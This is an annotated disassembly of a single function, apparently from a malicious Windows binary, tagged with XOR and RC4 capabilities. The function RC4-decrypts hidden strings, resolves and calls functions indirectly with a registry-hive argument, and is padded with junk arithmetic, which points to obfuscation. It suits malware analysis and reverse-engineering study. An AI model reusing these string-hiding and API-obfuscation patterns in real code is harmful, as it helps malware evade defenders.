Function at 0x41592b
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f8
push esi
push edi
mov esi, 0x42d624
mov dword [ebp - 0x2c], edx
lea edi, [ebp - 0x8c]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x24], 0x22e18b9a
mov dword [ebp - 0x20], 0x628cf7b0
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0xa73017c4
mov dword [ebp - 0x18], 0x2c2b9644
mov dword [ebp - 0x14], 0xa371a711
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], 0x7f45af5f
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.004148e3
cmp byte [str.connection_already_in_progress], 0
je 0x415994
imul eax, dword [0x435760], 0xd396111f
mov dword [0x4356a4], eax
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x190], al
inc eax
cmp eax, 0x100
jb 0x415998
xor esi, esi
mov dword [ebp - 0x28], 0xe
xor edx, edx
mov cl, byte [ebp + esi - 0x190]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x28]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x8c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x190]
mov byte [ebp + esi - 0x190], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x190], al
cmp esi, 0x100
jb 0x4159b0
and dword [ebp - 0xc], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0xc]
mov cl, byte [ebp + edi - 0x190]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0xc], eax
mov al, byte [ebp + eax - 0x190]
mov byte [ebp + edi - 0x190], al
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x190], cl
movzx eax, byte [ebp + edi - 0x190]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x190]
xor al, byte [ebp + esi - 0x24]
mov byte [ebp + esi - 0x1ac], al
inc esi
cmp esi, 0x18
jb 0x4159fc
lea eax, [ebp - 0xc]
mov dword [ebp - 0x78], 0xf000
push eax
xor ecx, ecx
lea edx, [ebp - 0x1ac]
push 1
push ecx
push dword [ebp - 8]
mov byte [ebp - 0x194], cl
push 0x80000001
mov dword [ebp - 0xc], ecx
push 6
pop ecx
call fcn.0040a2e6
call eax
test eax, eax
jne 0x415fc9
and dword [ebp - 8], 0
lea edi, [ebp - 0x88]
mov esi, 0x42c4bc
mov dword [ebp - 0x57], 0x8420e7e9
push 0xe
pop eax
push 0xa
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x58], al
pop eax
mov dword [ebp - 0x28], eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x52], al
push 9
pop eax
movsw word es:[edi], word [esi]
mov dword [ebp - 0x74], eax
mov byte [ebp - 0x51], al
xor eax, eax
mov byte [ebp - 0x53], 0xce
mov dword [ebp - 0x50], 0x7c35ec45
mov dword [ebp - 0x4c], 0xc065db28
mov dword [ebp - 0x48], 0xfe6c9725
mov dword [ebp - 0x44], 0x1368edc0
mov dword [ebp - 0x40], 0x939c514c
mov dword [ebp - 0x3c], 0x30326c5b
mov dword [ebp - 0x38], 0xd9df404b
mov dword [ebp - 0x34], 0xda2000fe
mov dword [ebp - 0x30], 0xeb2fd712
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x190], al
inc eax
cmp eax, 0x100
jb 0x415b05
mov esi, dword [0x4356a4]
xor edi, edi
and esi, 0x2be6182f
mov dword [0x435634], esi
xor edx, edx
mov cl, byte [ebp + edi - 0x190]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0x28]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x88]
add eax, dword [ebp - 8]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x190]
mov byte [ebp + edi - 0x190], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x190], al
cmp edi, 0x100
jb 0x415b28
and dword [ebp - 8], 0
xor esi, esi
xor edi, edi
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 8]
mov cl, byte [ebp + esi - 0x190]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x190]
mov byte [ebp + esi - 0x190], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x190], cl
movzx eax, byte [ebp + esi - 0x190]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x190]
xor al, byte [ebp + edi - 0x58]
mov byte [ebp + edi - 0x1f8], al
inc edi
cmp edi, 0x2c
jb 0x415b78
mov esi, dword [0x4356a4]
xor edi, edi
cmp byte [str.connection_already_in_progress], 0
mov byte [ebp - 0x1cc], 0
mov dword [ebp - 0x24], 0x745857b0
mov dword [ebp - 0x20], 0xc5196133
mov dword [ebp - 0x1c], 0xdc78a107
mov dword [ebp - 0x18], 0x96c662de
mov dword [ebp - 0x14], 0x78be4f1d
mov dword [ebp - 0x10], 0xad58a267
je 0x415c76
mov eax, esi
and eax, 0xdbfd755c
mov dword [0x435760], eax
mov edx, str.connection_already_in_progress
mov ecx, 0x430560
call fcn.004151f9
inc edi
cmp byte [edi + str.connection_already_in_progress], 0
jne 0x415c1e
mov esi, dword [ebp - 0x2c]
jmp 0x415c72
call fcn.00414797
cmp esi, 0x2082
jne 0x415c58
imul eax, dword [0x4356a4], 0xac7e3f45
mov dword [0x435634], eax
mov eax, dword [0x435774]
mov ecx, str.connection_already_in_progress
add eax, 0x2f15c504
mov dword [0x4356a4], eax
call fcn.00414ab4
inc esi
cmp esi, edi
jb 0x415c3c
mov esi, 0x42cf80
lea edi, [ebp - 0x84]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [0x435774]
xor edi, edi
mov ecx, esi
lea eax, [esi + 0x15505ddb]
mov dword [0x435760], eax
call fcn.00414f8a
cmp byte [str.connection_already_in_progress], 0
je 0x415cb3
lea eax, [esi + 0x2888f7a3]
mov dword [0x435760], eax
xor eax, eax
mov byte [ebp + eax - 0x190], al
inc eax
cmp eax, 0x100
jb 0x415cb5
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x190]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x74]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x84]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x190]
mov byte [ebp + esi - 0x190], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x190], al
cmp esi, 0x100
jb 0x415cc6
xor edi, edi
xor esi, esi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [ebp + esi - 0x190]
movzx eax, cl
mov dword [ebp - 0x74], eax
add eax, edi
cmp byte [str.connection_already_in_progress], 0
movzx edi, al
mov al, byte [ebp + edi - 0x190]
mov byte [ebp + esi - 0x190], al
mov byte [ebp + edi - 0x190], cl
je 0x415d63
mov ecx, dword [0x4356a4]
mov eax, str.connection_already_in_progress
and ecx, 0xc1fcd787
inc eax
cmp byte [eax], 0
jne 0x415d51
mov dword [0x4356a4], ecx
movzx eax, byte [ebp + esi - 0x190]
add eax, dword [ebp - 0x74]
movzx eax, al
mov al, byte [ebp + eax - 0x190]
xor al, byte [ebp + edx - 0x24]
mov byte [ebp + edx - 0x48], al
inc edx
cmp edx, 0x18
jb 0x415d10
lea eax, [ebp - 0x78]
xor ecx, ecx
push eax
push dword [ebp + 8]
mov byte [ebp - 0x30], cl
lea edx, [ebp - 0x1f8]
push ecx
push ecx
push dword [ebp - 0x2c]
push dword [ebp - 0xc]
push 6
pop ecx
call fcn.0040a2e6
call eax
test eax, eax
jne 0x415fb9
push 9
pop eax
push 0xe
mov byte [ebp - 0x5e], al
lea edi, [ebp - 0x24]
pop eax
push 5
pop ecx
mov esi, str.SrchGatherDestruction
and dword [ebp - 0x28], 0
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x70], 0x6f8c3930
mov dword [ebp - 0x6c], 0xc4bc8455
mov dword [ebp - 0x68], 0xddaf042a
movsw word es:[edi], word [esi]
xor esi, esi
mov dword [ebp - 0x64], 0xc4eccdbc
cmp byte [str.connection_already_in_progress], 0
mov word [ebp - 0x60], 0xe501
mov dword [ebp - 0x5d], 0x89bc8495
mov byte [ebp - 0x59], al
je 0x415e23
call fcn.004153f9
mov eax, dword [0x435760]
add eax, 0x186acb96
inc esi
mov dword [0x435774], eax
cmp byte [esi + str.connection_already_in_progress], 0
jne 0x415e05
call fcn.004153f9
cmp esi, 0xb94
jbe 0x415e48
imul eax, dword [0x435634], 0xb0f8e8e8
mov ecx, eax
mov dword [0x435760], eax
call fcn.004149fd
jmp 0x415e61
mov eax, dword [0x4356a4]
mov ecx, str.connection_already_in_progress
and eax, 0xa572b2c3
mov dword [0x435760], eax
call fcn.00414ab4
xor eax, eax
mov byte [ebp + eax - 0x190], al
inc eax
cmp eax, 0x100
jb 0x415e63
push 5
pop ecx
mov esi, 0x42c140
lea edi, [ebp - 0x90]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [str.connection_already_in_progress]
xor eax, eax
mov dword [ebp - 8], eax
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0x90]
jne 0x415eb8
test cl, cl
je 0x415eb5
cmp byte [ebp + eax - 0x90], 0
je 0x415eb5
mov cl, byte [eax + 0x435681]
inc eax
cmp cl, byte [ebp + eax - 0x90]
je 0x415e97
mov dword [ebp - 8], eax
mov ecx, dword [0x435760]
call fcn.004149fd
mov esi, dword [ebp - 8]
cmp dword [ebp - 0x2c], esi
jae 0x415ef1
sub esi, dword [ebp - 0x2c]
call fcn.004153f9
imul eax, dword [0x435760], 0xe0ae77de
mov ecx, str.connection_already_in_progress
mov dword [0x435634], eax
call fcn.00414ab4
sub esi, 1
jne 0x415ece
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x190]
push 0x15
mov eax, esi
mov byte [ebp - 1], cl
pop edi
div edi
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x24]
add eax, dword [ebp - 0x28]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x28], ecx
mov al, byte [ebp + ecx - 0x190]
mov byte [ebp + esi - 0x190], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x190], al
cmp esi, 0x100
jb 0x415ef3
and dword [ebp - 8], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 8]
mov cl, byte [ebp + edi - 0x190]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x190]
mov byte [ebp + edi - 0x190], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x190], cl
movzx eax, byte [ebp + edi - 0x190]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x190]
xor al, byte [ebp + esi - 0x70]
mov byte [ebp + esi - 0x1c8], al
inc esi
cmp esi, 0x18
jb 0x415f42
push dword [ebp - 0xc]
lea edx, [ebp - 0x1c8]
mov byte [ebp - 0x1b0], 0
push 6
pop ecx
call fcn.0040a2e6
call eax
xor eax, eax
inc eax
jmp 0x415fcb
push dword [ebp - 0xc]
lea edx, [ebp - 0x48]
push 6
pop ecx
call fcn.0040a2e6
call eax
xor eax, eax
pop edi
pop esi
leave
ret